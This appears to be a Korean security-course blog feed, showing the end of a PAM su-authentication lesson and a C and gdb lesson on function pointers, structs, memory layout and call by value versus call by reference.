[test1@webhacking ~]$ su test2  &lt;-- user = test2 와 같기 때문에 인증이 즉시 성공되었다.
[test2@webhacking test1]$ exit

[test1@webhacking ~]$ su - test1
암호:  &lt;-- system-auth 가 실행된 것이다.


[test2@webhacking test1]$ exit
[test1@webhacking ~]$ exit

# vi /etc/pam.d/su
  1 #%PAM-1.0
  2 auth        sufficient  pam_rootok.so
  3 auth        sufficient  pam_succeed_if.so user = test2 use_uid quiet  &lt;-- use_uid 가 있을 경우

[root@webhacking ~]# su - test2


su 명령어를 실행하는 사용자가 test2와 같으면 인증에 즉시 성공을 리턴한다.
 2 auth        sufficient  pam_rootok.so  &lt;-- 인증이 실패되었지만 최종 인증하고는 무관하고 다음 모듈을 실행
 3 auth        sufficient  pam_succeed_if.so user = test2 use_uid quiet  &lt;-- use_uid 가 있을 경우(즉시 성공을 리턴한다.)
[test2@webhacking ~]$ su test1
[test1@webhacking test2]$</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[시스템 보안 운영 - 4 (교육 85일차)]]></title>
            <link>https://velog.io/@security_code/%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-4-%EA%B5%90%EC%9C%A1-85%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@security_code/%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-4-%EA%B5%90%EC%9C%A1-85%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Thu, 30 Mar 2023 00:03:54 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>*<em>실습&gt; 함수 포인터 *</em></p>
</blockquote>
<pre><code>o 함수란?
함수란 하나 이상의 명령어를 묶어 놓은 것으로 재사용을 하기 위해서 만들어졌다.
함수는 메모리 주소이며 gdb에서 확인이 가능하다.
ex) p 함수명, disas 함수명

o 함수 포인터란?
함수 포인터는 함수의 주소를 가지고 저장하는 포인터 변수이다.

o 함수포인터 사용법
함수포인터의 선언 방법은 아래와 같이 함수의 반환 값과 매개 변수를 잘 맞추면 된다.
형식: 리턴타입 (*포인터변수명)(매개변수1[, ...]);


o 함수 포인터 선언 예
ex1)
void hello() 라는 함수를 가리키는 함수 포인터를 선언한다면 아래와 같이 선언한다.
리턴타입: void, 함수명: hello, 매개변수: 없음
함수포인터 선언 방법: void (*포인터변수명)();
선언된 함수포인터에 함수의 주소를 넣는 방법: 포인터변수명 = 함수명;
void (*p)();
p = hello;
p()

ex2)
int hello(const char *name) 라는 함수를 가리키는 함수 포인터를 선언한다면 아래와 같이 선언한다.
리턴타입: int, 함수명: hello, 매개변수: const char *
함수포인터 선언 방법: int (*포인터변수명)(const char *);
선언된 함수포인터에 함수의 주소를 넣는 방법: 포인터변수명 = 함수명;
void (*func)(const char *);
func = hello;
func(&quot;Hello&quot;);</code></pre><blockquote>
<p><strong>실습&gt; 일반 포인터 VS 함수 포인터</strong></p>
</blockquote>
<pre><code>1. 일반 포인터 예제
[root@localhost ~]# vi funcPointer1.c 
/*
 * 파일명: funcPointer1.c
 * 프로그램 설명: 함수 포인터를 이해하기 위한 일반 포인터
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

int main()
{
    // 변수의 포인터
    int a = 7;
    int *ap;

    ap = &amp;a;

    printf(&quot; a: %d, %p\n&quot;, a, &amp;a);
    printf(&quot;ap: %d, %p\n&quot;, *ap, ap); 

    return 0;
}

-Wall: 모든 경고를 출력하는 옵션
-m32: 32bit 컴파일 옵션
-g: gdb 분석 옵션
-o funcPointer1: 실행파일 funcPointer1 를 생성하는 옵션

[root@localhost ~]# gcc -Wall -m32 -g -o funcPointer1 funcPointer1.c 
[root@localhost ~]# ./funcPointer1 
 a: 7, 0xffe20b78
ap: 7, 0xffe20b78

     a                ap
+----------+     +----------+
|    7     | &lt;-- |0xffe20b78|
+----------+     +----------+
|   4byte            4byte
0xffe20b78 


2. 함수 포인터 예제 1
[root@localhost ~]# vi funcPointer2.c
/*
 * 파일명: funcPointer2.c
 * 프로그램 설명: 함수 포인터 1
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

void hello();

int main()
{
    void (*func)(); // 함수 포인터
    func = hello;   // 함수명은 메모리 주소다.
    func();         // 함수 포인터 호출

    return 0;
}

void hello()
{
    printf(&quot;Hello ^^*\n&quot;);
}

[root@localhost ~]# gdb -q funcPointer2
Reading symbols from /root/funcPointer2...done.
(gdb) b main
(gdb) r
14        func = hello;   // 함수명은 메모리 주소다.
(gdb) n
15        func();         // 함수 포인터 호출
(gdb) disas hello
Dump of assembler code for function hello:
   0x0804842b &lt;+0&gt;:    push   %ebp      &lt;-- hello() 함수의 시작 주소
   0x0804842c &lt;+1&gt;:    mov    %esp,%ebp
   0x0804842e &lt;+3&gt;:    sub    $0x18,%esp
   0x08048431 &lt;+6&gt;:    movl   $0x80484d4,(%esp)
   0x08048438 &lt;+13&gt;:    call   0x80482e0 &lt;puts@plt&gt;
   0x0804843d &lt;+18&gt;:    leave  
   0x0804843e &lt;+19&gt;:    ret    
End of assembler dump.

func 변수에는 0x804842b 주소가 저장되어 있다.
(gdb) p func
$1 = (void (*)()) 0x804842b &lt;hello&gt;

(gdb) s
hello () at funcPointer2.c:22
22        printf(&quot;Hello ^^*\n&quot;);
(gdb) n
Hello ^^*
23    }
(gdb) n
main () at funcPointer2.c:17
17        return 0;
(gdb) n
18    }
(gdb) c
(gdb) q

3. 함수 포인터 예제 2
[root@localhost ~]# vi funcPointer3.c
/*
 * 파일명: funcPointer3.c
 * 프로그램 설명: 함수 포인터
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

void hello(char *name);

int main()
{
    char realName[] = &quot;Hong gil dong&quot;;
    printf(&quot;main name: %s\n&quot;, realName);  // 배열명은 메모리 주소닷!
    hello(realName);  // 주소를 넘겨주면

    return 0;
}

void hello(char *name)  // 포인터 변수 name이 받았음.
{
    printf(&quot;hello name: %s\n&quot;, name);
}

수정된 소스코드 
[root@localhost ~]# vi funcPointer3.c 
/*
 * 파일명: funcPointer3.c
 * 프로그램 설명: 함수 포인터
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

void hello(const char *name);

int main()
{
    char realName[] = &quot;Hong gil dong&quot;;
    void (*funcp)(const char *);

    printf(&quot;main name: %s\n&quot;, realName);
    hello(realName);

    funcp = hello;  // 함수 포인터
    funcp(realName);

    return 0;
}

void hello(const char *name)
{
    printf(&quot;hello name: %s\n&quot;, name);
}

[root@localhost ~]# gcc -m32 -g -o funcPointer3 funcPointer3.c 
[root@localhost ~]# ./funcPointer3 
main name: Hong gil dong
hello name: Hong gil dong
hello name: Hong gil dong   
</code></pre><blockquote>
<p><strong>실습&gt; 구조체</strong></p>
</blockquote>
<pre><code>1. 소스코드 작성
[root@localhost ~]# vi struct1.c
/*
 * 파일명: struct1.c
 * 프로그램 설명: 구조체 예제
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

/*
 * 배열: 동일한 자료형의 모임. (C언어에 이미 존재하는 자료형)
 * 구조체:
 * 동일하지 않은 자료형의 모임. (사용자가 새롭게 생성하는 자료형)
 * 클래스의 원조가 C언어의 구조체
 *
 * int a;
 *
 * 구조체 정의
 * main() 함수 밖에서 정의한다.
 * 형식:
 * struct 구조체명
 * {
 *     멤버 변수
 *       :
 *       :
 * };
 *
 * 구조체 선언: main() 함수 안에서 선언
 * struct 구조체명 변수명;
 */

// 1. 구조체 정의
struct point
{
    int x;
    int y;
};

int main()
{
    // 2. 구조체 변수 선언
    struct point a;

    // 3. 구조체 변수 사용
    // 자료 저장
    a.x = 10;
    a.y = 20;

    // 자료 출력
    printf(&quot;a.x = %d\n&quot;, a.x);
    printf(&quot;a.y = %d\n&quot;, a.y);

    return 0;
}

2. 컴파일/실행
[root@localhost ~]# gcc -Wall -m32 -g -o struct1 struct1.c
[root@localhost ~]# ./struct1
a.x = 10
a.y = 20

3. gdb 분석
[root@localhost ~]# gdb -q struct1
Reading symbols from /root/struct1...done.
(gdb) b main
(gdb) r
Breakpoint 1, main () at struct1.c:43
43          a.x = 10;
(gdb) list
38          // 2. 구조체 변수 선언
39          struct point a;
40
41          // 3. 구조체 변수 사용
42          // 자료 저장
43          a.x = 10;
44          a.y = 20;
45
46          // 자료 출력
47          printf(&quot;a.x = %d\n&quot;, a.x);
(gdb) p a
$1 = {x = 134513771, y = -134430720}
(gdb) n
44          a.y = 20;
(gdb) p a
$2 = {x = 10, y = -134430720}
(gdb) n
47          printf(&quot;a.x = %d\n&quot;, a.x);
(gdb) p a
$3 = {x = 10, y = 20}
(gdb) n
a.x = 10
48          printf(&quot;a.y = %d\n&quot;, a.y);
(gdb) n
a.y = 20
50          return 0;
(gdb) c
(gdb) q


[root@localhost ~]# vi struct2.c
/*
 * 파일명: struct2.c
 * 프로그램 설명: 구조체 예제
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

// 1. 구조체 정의
struct member
{
    char name[30];  // 이름
    char phone[30]; // 전화번호
    int  age;       // 나이
};

int main()
{
    // 2. 구조체 변수 선언
    struct member m;

    // 3. 구조체 변수 사용
    // 저장
    printf(&quot;&gt;&gt;&gt; 주소록 프로그램 &lt;&lt;&lt;\n&quot;);
    printf(&quot;이름: &quot;);
    scanf(&quot;%s&quot;, m.name);  // m.name == &amp;m.name[0]
    printf(&quot;전화번호: &quot;);
    scanf(&quot;%s&quot;, m.phone); // m.phone == &amp;m.phone[0]
    printf(&quot;나이: &quot;);
    scanf(&quot;%d&quot;, &amp;m.age);

    // 출력
    printf(&quot;이름: %s\n&quot;, m.name);
    printf(&quot;전화번호: %s\n&quot;, m.phone);
    printf(&quot;나이: %d\n&quot;, m.age);

    return 0;
}
[root@localhost ~]# gcc -Wall -g -m32 -o struct2 struct2.c
[root@localhost ~]# ./struct2
&gt;&gt;&gt; 주소록 프로그램 &lt;&lt;&lt;
이름: 홍길동
전화번호: 010-1111-2222
나이: 30
이름: 홍길동
전화번호: 010-1111-2222
나이: 30

[root@localhost ~]# gdb -q struct2
Reading symbols from /root/struct2...done.
(gdb) b main
Breakpoint 1 at 0x8048496: file struct2.c, line 24.
(gdb) r
Starting program: /root/struct2

Breakpoint 1, main () at struct2.c:24
24          printf(&quot;&gt;&gt;&gt; 주소록 프로그램 &lt;&lt;&lt;\n&quot;);
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
(gdb) p m
$1 = {
  name = &quot;\377\377\377\377\030\326\377\377x\035\341\367\025\203\004\b\000\000\000\000\000\000\000\000\000\240\004\b\242\205&quot;,
  phone = &quot;\004\b\001\000\000\000\324\326\377\377\334\326\377\377\355y\343\367\304\303\374\367\000\300\000\000[\205\004\b&quot;, age = -134430720}
(gdb) n
&gt;&gt;&gt; 주소록 프로그램 &lt;&lt;&lt;
25          printf(&quot;이름: &quot;);
(gdb) n
26          scanf(&quot;%s&quot;, m.name);  // m.name == &amp;m.name[0]
(gdb) HongGilDong
Undefined command: &quot;HongGilDong&quot;.  Try &quot;help&quot;.
(gdb) n
이름: HongGilDong
27          printf(&quot;전화번호: &quot;);
(gdb) n
28          scanf(&quot;%s&quot;, m.phone); // m.phone == &amp;m.phone[0]
(gdb) n
전화번호: 010-1111-2222
29          printf(&quot;나이: &quot;);
(gdb) n
30          scanf(&quot;%d&quot;, &amp;m.age);
(gdb) n
나이: 30
33          printf(&quot;이름: %s\n&quot;, m.name);
(gdb) p m
$2 = {
  name = &quot;HongGilDong\000\025\203\004\b\000\000\000\000\000\000\000\000\000\240\004\b\242\205&quot;, phone = &quot;010-1111-2222\000\355y\343\367\304\303\374\367\000\300\000\000[\205\004\b&quot;,
  age = 30}
(gdb) x/16xw &amp;m
0xffffd5f0:     0x676e6f48      0x446c6947      0x00676e6f      0x08048315
0xffffd600:     0x00000000      0x00000000      0x0804a000      0x313085a2
0xffffd610:     0x31312d30      0x322d3131      0x00323232      0xf7e379ed
0xffffd620:     0xf7fcc3c4      0x0000c000      0x0804855b      0x0000001e
(gdb) x/16c &amp;m
0xffffd5f0:     72 &#39;H&#39;  111 &#39;o&#39; 110 &#39;n&#39; 103 &#39;g&#39; 71 &#39;G&#39;  105 &#39;i&#39; 108 &#39;l&#39; 68 &#39;D&#39;
0xffffd5f8:     111 &#39;o&#39; 110 &#39;n&#39; 103 &#39;g&#39; 0 &#39;\000&#39;        21 &#39;\025&#39;       -125 &#39;\203&#39;     4 &#39;\004&#39;      8 &#39;\b&#39;
(gdb) n
이름: HongGilDong
34          printf(&quot;전화번호: %s\n&quot;, m.phone);
(gdb) n
전화번호: 010-1111-2222
35          printf(&quot;나이: %d\n&quot;, m.age);
(gdb) n
나이: 30
37          return 0;
(gdb) p m.name
$3 = &quot;HongGilDong\000\025\203\004\b\000\000\000\000\000\000\000\000\000\240\004\b\242\205&quot;
(gdb) x/s m.name
0xffffd5f0:     &quot;HongGilDong&quot;
(gdb) p m.phone
$4 = &quot;010-1111-2222\000\355y\343\367\304\303\374\367\000\300\000\000[\205\004\b&quot;
(gdb) x/s m.phone
0xffffd60e:     &quot;010-1111-2222&quot;
(gdb) x/xw m.age
0x1e:   Cannot access memory at address 0x1e
(gdb) x/xw &amp;m.age
0xffffd62c:     0x0000001e
(gdb) shell
[root@localhost ~]# python -c &#39;print(int(0x1e))&#39;
30
[root@localhost ~]# exit

(gdb) c
Continuing.
[Inferior 1 (process 105043) exited normally]
(gdb) q


[root@localhost ~]# vi struct3.c
/*
 * 파일명: struct3.c
 * 프로그램 설명: 구조체 예제
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

// 1. 구조체 정의
struct point
{
    int x;
    int y;
};

int main()
{
    // 2. 구조체 변수 선언
    struct point a;
    char ch;
    int i;
    double d;

    // 메모리 크기 출력
    printf(&quot; a: %d\n&quot;, sizeof(a));   // 8byte
    printf(&quot;ch: %d\n&quot;, sizeof(ch));  // 1byte
    printf(&quot; i: %d\n&quot;, sizeof(i));   // 4byte
    printf(&quot; d: %d\n&quot;, sizeof(d));   // 8byte

    return 0;
}

[root@localhost ~]# gcc -Wall -m32 -g -o struct3 struct3.c
[root@localhost ~]# ./struct3
 a: 8
ch: 1
 i: 4
 d: 8


[root@localhost ~]# vi struct4.c
/*
 * 파일명: struct4.c
 * 프로그램 설명: 구조체 크기 예제
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

// 1. 구조체 정의
struct point
{
    int x;     // 4byte
    int y;     // 4byte
    char ch;   // 1byte
    double d;  // 8byte
};

int main()
{
    // 2. 구조체 변수 선언
    struct point a;

    // 메모리 크기 출력
    // 구조체의 크기는 반드시 sizeof(구조체변수명)으로 구해야 한다.
    printf(&quot;a: %d\n&quot;, sizeof(a));   // 17byte가 아닌 20byte가 나온다.

    return 0;
}

[root@localhost ~]# gcc -Wall -g -m32 -o struct4 struct4.c
[root@localhost ~]# ./struct4
a: 20


[root@localhost ~]# vi struct5.c
/*
 * 파일명: struct5.c
 * 프로그램 설명: 구조체 크기 예제
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

// 1. 구조체 정의
struct point
{
    int x;     // 4byte
    int y;     // 4byte
    char ch;   // 1byte
    double d;  // 8byte
    char name[20]; // 20byte

};

int main()
{
    // 2. 구조체 변수 선언
    struct point a;
    // memset: 메모리를 초기화할 때 사용하는 함수
    // void *memset(void *s, int c, size_t n);
    memset((struct point *) &amp;a, 0, sizeof(a));

    return 0;
}

[root@localhost ~]# gcc -Wall -g -m32 -o struct5 struct5.c
[root@localhost ~]# gdb -q struct5
Reading symbols from /root/struct5...done.
(gdb) b main
Breakpoint 1 at 0x8048416: file struct5.c, line 26.
(gdb) r
Starting program: /root/struct5

Breakpoint 1, main () at struct5.c:26
26          memset((struct point *) &amp;a, 0, sizeof(a));
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686

메모리를 초기화 하기 전
- 쓰레기값이 들어가 있다.
(gdb) p a
$1 = {x = 134520832, y = 134513810, ch = 1 &#39;\001&#39;, d = -nan(0xfd6dcffffd6d4),
  name = &quot;\355y\343\367\304\303\374\367\000\300\000\000K\204\004\b\000\300\374&quot;, &lt;incomplete sequence \367&gt;}

메모리를 조사한다.
(gdb) x/28xw &amp;a
0xffffd608:     0x0804a000      0x08048492      0x00000001      0xffffd6d4
0xffffd618:     0xffffd6dc      0xf7e379ed      0xf7fcc3c4      0x0000c000
0xffffd628:     0x0804844b      0xf7fcc000      0x08048440      0x00000000
0xffffd638:     0x00000000      0xf7e1f2d3      0x00000001      0xffffd6d4
0xffffd648:     0xffffd6dc      0xf7fd86b0      0x00000001      0x00000001
0xffffd658:     0x00000000      0x0804a00c      0x0804821c      0xf7fcc000
0xffffd668:     0x00000000      0x00000000      0x00000000      0x1428cf56

memset() 함수를 실행해서 a 변수의 메모리를 0으로 초기화 한다.
(gdb) n
28          return 0;

(gdb) p a
$2 = {x = 0, y = 0, ch = 0 &#39;\000&#39;, d = 0, name = &#39;\000&#39; &lt;repeats 19 times&gt;}

(gdb) p sizeof(a)
$3 = 40

4byte * 10 개 = 40byte가 모두 0으로 초기화 되었다.
(gdb) x/28xw &amp;a
0xffffd608:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd618:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd628:     0x00000000      0x00000000      0x08048440      0x00000000
0xffffd638:     0x00000000      0xf7e1f2d3      0x00000001      0xffffd6d4
0xffffd648:     0xffffd6dc      0xf7fd86b0      0x00000001      0x00000001
0xffffd658:     0x00000000      0x0804a00c      0x0804821c      0xf7fcc000
0xffffd668:     0x00000000      0x00000000      0x00000000      0x1428cf56

(gdb) c
(gdb) q


[root@localhost ~]# vi pointer1.c
#include &lt;stdio.h&gt;

int main()
{
    int i = 10;
    int *p;

    p = &amp;i;
    return 0;
}

[root@localhost ~]# gcc -g -m32 -o pointer1 pointer1.c
[root@localhost ~]# gdb -q pointer1
Reading symbols from /root/pointer1...done.
(gdb) b main
Breakpoint 1 at 0x80483e3: file pointer1.c, line 5.
(gdb) r
5           int i = 10;
(gdb) n
8           p = &amp;i;
(gdb) n
9           return 0;

(gdb) p i
$1 = 10
(gdb) p &amp;i
$2 = (int *) 0xffffd630

(gdb) p p
$3 = (int *) 0xffffd630

(gdb) x/xw &amp;i
0xffffd630:     0x0000000a

(gdb) p &amp;p
$4 = (int **) 0xffffd634

(gdb) x/xw &amp;p
0xffffd634:     0xffffd630  &lt;-- p = &amp;i; 이므로 i의 주소가 저장되어 있다.
(gdb) c
(gdb) q


[root@localhost ~]# vi struct6.c
/*
 * 파일명: struct6.c
 * 프로그램 설명: 구조체 예제
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

// 1. 구조체 정의
struct point
{
    int x;
    int y;
};

int main()
{
    // 2. 구조체 변수 선언
    struct point a;
    struct point *ap;

    // 3. 구조체 변수 사용
    // 저장
    a.x = 10;
    a.y = 20;

    ap = &amp;a;


    // 출력 1
    // a에서 멤버 변수에 접근하는 형식: a.멤버변수명
    printf(&quot;a.x = %d\n&quot;, a.x);
    printf(&quot;a.y = %d\n&quot;, a.y);

    // 출력 2
    // ap에서 멤버 변수에 접근하는 형식: ap-&gt;멤버변수명
    printf(&quot;ap-&gt;x = %d\n&quot;, ap-&gt;x);
    printf(&quot;ap-&gt;y = %d\n&quot;, ap-&gt;y);

    return 0;
}

[root@localhost ~]# gcc -Wall -g -m32 -o struct6 struct6.c
[root@localhost ~]# ./struct6
a.x = 10
a.y = 20
ap-&gt;x = 10
ap-&gt;y = 20

[root@localhost ~]# gdb struct6
(gdb) b main
Breakpoint 1 at 0x8048416: file struct6.c, line 24.
(gdb) r
Starting program: /root/struct6

Breakpoint 1, main () at struct6.c:24
24          a.x = 10;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
(gdb) disp a
1: a = {x = 49152, y = 134513819}
(gdb) disp ap
2: ap = (struct point *) 0xf7fcc000
(gdb) n
25          a.y = 20;
2: ap = (struct point *) 0xf7fcc000
1: a = {x = 10, y = 134513819}
(gdb) n
27          ap = &amp;a;
2: ap = (struct point *) 0xf7fcc000
1: a = {x = 10, y = 20}
(gdb) n
30          printf(&quot;a.x = %d\n&quot;, a.x);
2: ap = (struct point *) 0xffffd624
1: a = {x = 10, y = 20}
(gdb) p &amp;a
$1 = (struct point *) 0xffffd624
(gdb) p ap
$2 = (struct point *) 0xffffd624
(gdb) p ap-&gt;x
$3 = 10
(gdb) p ap-&gt;y
$4 = 20
(gdb) p ap.x
$5 = 10
(gdb) p ap.y
$6 = 20
(gdb) p a.x
$7 = 10
(gdb) p a.y
$8 = 20
(gdb) p sizeof(a)
$9 = 8
(gdb) p sizeof(ap)
$10 = 4
(gdb) x/xw ap
0xffffd624:     0x0000000a
(gdb) x/xw &amp;ap
0xffffd62c:     0xffffd624
(gdb) p &amp;a
$11 = (struct point *) 0xffffd624
(gdb) c
Continuing.
a.x = 10
a.y = 20
ap-&gt;x = 10
ap-&gt;y = 20
[Inferior 1 (process 105697) exited normally]
(gdb) q


[root@localhost ~]# vi struct7.c
/*
 * 파일명: struct7.c
 * 프로그램 설명: 구조체 예제
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

// 1. 구조체 정의
struct point
{
    int x;
    int y;
};

void printStruct1(struct point a);
void printStruct2(struct point *ap);

int main()
{
    // 2. 구조체 변수 선언
    struct point a;

    // 3. 구조체 변수 사용
    // 저장
    a.x = 10;
    a.y = 20;

    // 출력 1
    printStruct1(a);

    // 출력 2
    printStruct2(&amp;a);  // ap = &amp;a;

    return 0;
}

void printStruct1(struct point a)
{
    // a에서 멤버 변수에 접근하는 형식: a.멤버변수명
    printf(&quot;a.x = %d\n&quot;, a.x);
    printf(&quot;a.y = %d\n&quot;, a.y);
}

void printStruct2(struct point *ap)
{
    // ap에서 멤버 변수에 접근하는 형식: ap-&gt;멤버변수명
    printf(&quot;ap-&gt;x = %d\n&quot;, ap-&gt;x);
    printf(&quot;ap-&gt;y = %d\n&quot;, ap-&gt;y);
}

[root@localhost ~]# gcc -Wall -g -m32 -o struct7 struct7.c
[root@localhost ~]# ./struct7
a.x = 10
a.y = 20
ap-&gt;x = 10
ap-&gt;y = 20

Call by value를 활용한 소스코드 수정
[root@localhost ~]# vi struct8.c
/*
 * 파일명: struct8.c
 * 프로그램 설명: 구조체 예제
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

// 1. 구조체 정의
struct point
{
    int x;
    int y;
};

void printStruct1(struct point a);
void printStruct2(struct point *ap);

int main()
{
    // 2. 구조체 변수 선언
    struct point a;

    // 3. 구조체 변수 사용
    // 저장
    a.x = 10;
    a.y = 20;

    // Call by value
    // 값에 의한 호출: 
    // 값에 의한 호출은 다른 함수에서는 원본의 값을 변경할 수 없다.
    printStruct1(a);
    printf(&quot;main() a.x = %d\n&quot;, a.x);  // 10
    printf(&quot;main() a.y = %d\n&quot;, a.y);  // 20

    // 출력 2
    // printStruct2(&amp;a);  // ap = &amp;a;

    return 0;
}

void printStruct1(struct point a)
{
    // a에서 멤버 변수에 접근하는 형식: a.멤버변수명
    printf(&quot;printStruct1() a.x = %d\n&quot;, a.x);  // 10
    printf(&quot;printStruct1() a.y = %d\n&quot;, a.y);  // 20
    a.x += 5;
    a.y += 5;
    printf(&quot;printStruct1() a.x = %d\n&quot;, a.x);  // 15
    printf(&quot;printStruct1() a.y = %d\n&quot;, a.y);  // 25
}

void printStruct2(struct point *ap)
{
    // ap에서 멤버 변수에 접근하는 형식: ap-&gt;멤버변수명
    printf(&quot;ap-&gt;x = %d\n&quot;, ap-&gt;x);
    printf(&quot;ap-&gt;y = %d\n&quot;, ap-&gt;y);
}

[root@localhost ~]# gcc -Wall -g -m32 -o struct8 struct8.c
[root@localhost ~]# ./struct8
printStruct1() a.x = 10
printStruct1() a.y = 20
printStruct1() a.x = 15
printStruct1() a.y = 25
main() a.x = 10
main() a.y = 20

gdb로 분석하기
[root@localhost ~]# gdb -q struct8
Reading symbols from /root/struct8...done.
(gdb) b main
(gdb) r
Breakpoint 1, main () at struct8.c:26
26          a.x = 10;
(gdb) n
27          a.y = 20;
(gdb) n
31          printStruct1(a);
(gdb) p a
$1 = {x = 10, y = 20}
(gdb) p &amp;a
$2 = (struct point *) 0xffffd628
(gdb) disp &amp;a
1: &amp;a = (struct point *) 0xffffd628
(gdb) x/2xw 0xffffd628
0xffffd628:     0x0000000a      0x00000014
(gdb) shell
[root@localhost ~]# python -c &#39;print 0x14&#39;
20
[root@localhost ~]# python -c &#39;print 0x0a&#39;
10
[root@localhost ~]# exit
exit
(gdb) s
printStruct1 (a=...) at struct8.c:44
44          printf(&quot;printStruct1() a.x = %d\n&quot;, a.x);  // 10
(gdb) p a
$3 = {x = 10, y = 20}
(gdb) p &amp;a
$4 = (struct point *) 0xffffd610
(gdb) n
printStruct1() a.x = 10
45          printf(&quot;printStruct1() a.y = %d\n&quot;, a.y);  // 20
(gdb) n
printStruct1() a.y = 20
46          a.x += 5;
(gdb) p a
$5 = {x = 10, y = 20}
(gdb) n
47          a.y += 5;
(gdb) n
48          printf(&quot;printStruct1() a.x = %d\n&quot;, a.x);  // 15
(gdb) p a
$6 = {x = 15, y = 25}
(gdb) n
printStruct1() a.x = 15
49          printf(&quot;printStruct1() a.y = %d\n&quot;, a.y);  // 25
(gdb) n
printStruct1() a.y = 25
50      }
(gdb) p &amp;a
$7 = (struct point *) 0xffffd610
(gdb) n
main () at struct8.c:32
32          printf(&quot;main() a.x = %d\n&quot;, a.x);  // 10
1: &amp;a = (struct point *) 0xffffd628
(gdb) p &amp;a
$8 = (struct point *) 0xffffd628
(gdb) p a
$9 = {x = 10, y = 20}
(gdb) n
main() a.x = 10
33          printf(&quot;main() a.y = %d\n&quot;, a.y);  // 20
1: &amp;a = (struct point *) 0xffffd628
(gdb) n
main() a.y = 20
38          return 0;
1: &amp;a = (struct point *) 0xffffd628
(gdb) c
Continuing.
[Inferior 1 (process 105805) exited normally]
(gdb) q


Call by reference를 활용한 소스코드 수정
[root@localhost ~]# vi struct8.c
/*
 * 파일명: struct8.c
 * 프로그램 설명: 구조체 예제
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

// 1. 구조체 정의
struct point
{
    int x;
    int y;
};

void printStruct1(struct point a);
void printStruct2(struct point *ap);

int main()
{
    // 2. 구조체 변수 선언
    struct point a;

    // 3. 구조체 변수 사용
    // 저장
    a.x = 10;
    a.y = 20;


    // Call by value
    // 값에 의한 호출:
    // 값에 의한 호출은 다른 함수에서는 원본의 값을 변경할 수 없다.
    //printStruct1(a);
    //printf(&quot;main() a.x = %d\n&quot;, a.x);  // 10
    //printf(&quot;main() a.y = %d\n&quot;, a.y);  // 20

    // 출력 2
    // Call by reference
    // 참조에 의한 호출
    // 참조에 의한 호출은 다른 함수에서 원본의 값을 변경할 수 있다.
    printStruct2(&amp;a);  // ap = &amp;a;
    printf(&quot;main() a.x = %d\n&quot;, a.x);  // 15
    printf(&quot;main() a.y = %d\n&quot;, a.y);  // 25

    return 0;
}

void printStruct1(struct point a)
{
    // a에서 멤버 변수에 접근하는 형식: a.멤버변수명
    printf(&quot;printStruct1() a.x = %d\n&quot;, a.x);  // 10
    printf(&quot;printStruct1() a.y = %d\n&quot;, a.y);  // 20
    a.x += 5;
    a.y += 5;
    printf(&quot;printStruct1() a.x = %d\n&quot;, a.x);  // 15
    printf(&quot;printStruct1() a.y = %d\n&quot;, a.y);  // 25
}

void printStruct2(struct point *ap)
{
    // ap에서 멤버 변수에 접근하는 형식: ap-&gt;멤버변수명
    printf(&quot;printStruct2() ap-&gt;x = %d\n&quot;, ap-&gt;x);  // 10
    printf(&quot;printStruct2() ap-&gt;y = %d\n&quot;, ap-&gt;y);  // 20
    ap-&gt;x += 5;  // 15
    ap-&gt;y += 5;  // 25
    printf(&quot;printStruct2() ap-&gt;x = %d\n&quot;, ap-&gt;x);  // 15
    printf(&quot;printStruct2() ap-&gt;y = %d\n&quot;, ap-&gt;y);  // 25
}

[root@localhost ~]# gcc -Wall -g -m32 -o struct8 struct8.c
[root@localhost ~]# ./struct8
printStruct2() ap-&gt;x = 10
printStruct2() ap-&gt;y = 20
printStruct2() ap-&gt;x = 15
printStruct2() ap-&gt;y = 25
main() a.x = 15
main() a.y = 25



[root@localhost ~]# gdb -q struct8
Reading symbols from /root/struct8...done.
(gdb) b main
Breakpoint 1 at 0x8048416: file struct8.c, line 26.
(gdb) r
Starting program: /root/struct8

Breakpoint 1, main () at struct8.c:26
26          a.x = 10;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
(gdb) p a
$1 = {x = 134514011, y = -134430720}
(gdb) disp a
1: a = {x = 134514011, y = -134430720}
(gdb) n
27          a.y = 20;
1: a = {x = 10, y = -134430720}
(gdb) n
41          printStruct2(&amp;a);  // ap = &amp;a;
1: a = {x = 10, y = 20}
(gdb) p &amp;p
No symbol &quot;p&quot; in current context.
(gdb) p &amp;a
$2 = (struct point *) 0xffffd628
(gdb) s
printStruct2 (ap=0xffffd628) at struct8.c:62
62          printf(&quot;printStruct2() ap-&gt;x = %d\n&quot;, ap-&gt;x);  // 10
(gdb) p ap
$3 = (struct point *) 0xffffd628
(gdb) p ap
$4 = (struct point *) 0xffffd628
(gdb) p *ap
$5 = {x = 10, y = 20}
(gdb) p ap-&gt;x
$6 = 10
(gdb) p ap-&gt;y
$7 = 20
(gdb) disp *ap
2: *ap = {x = 10, y = 20}
(gdb) n
printStruct2() ap-&gt;x = 10
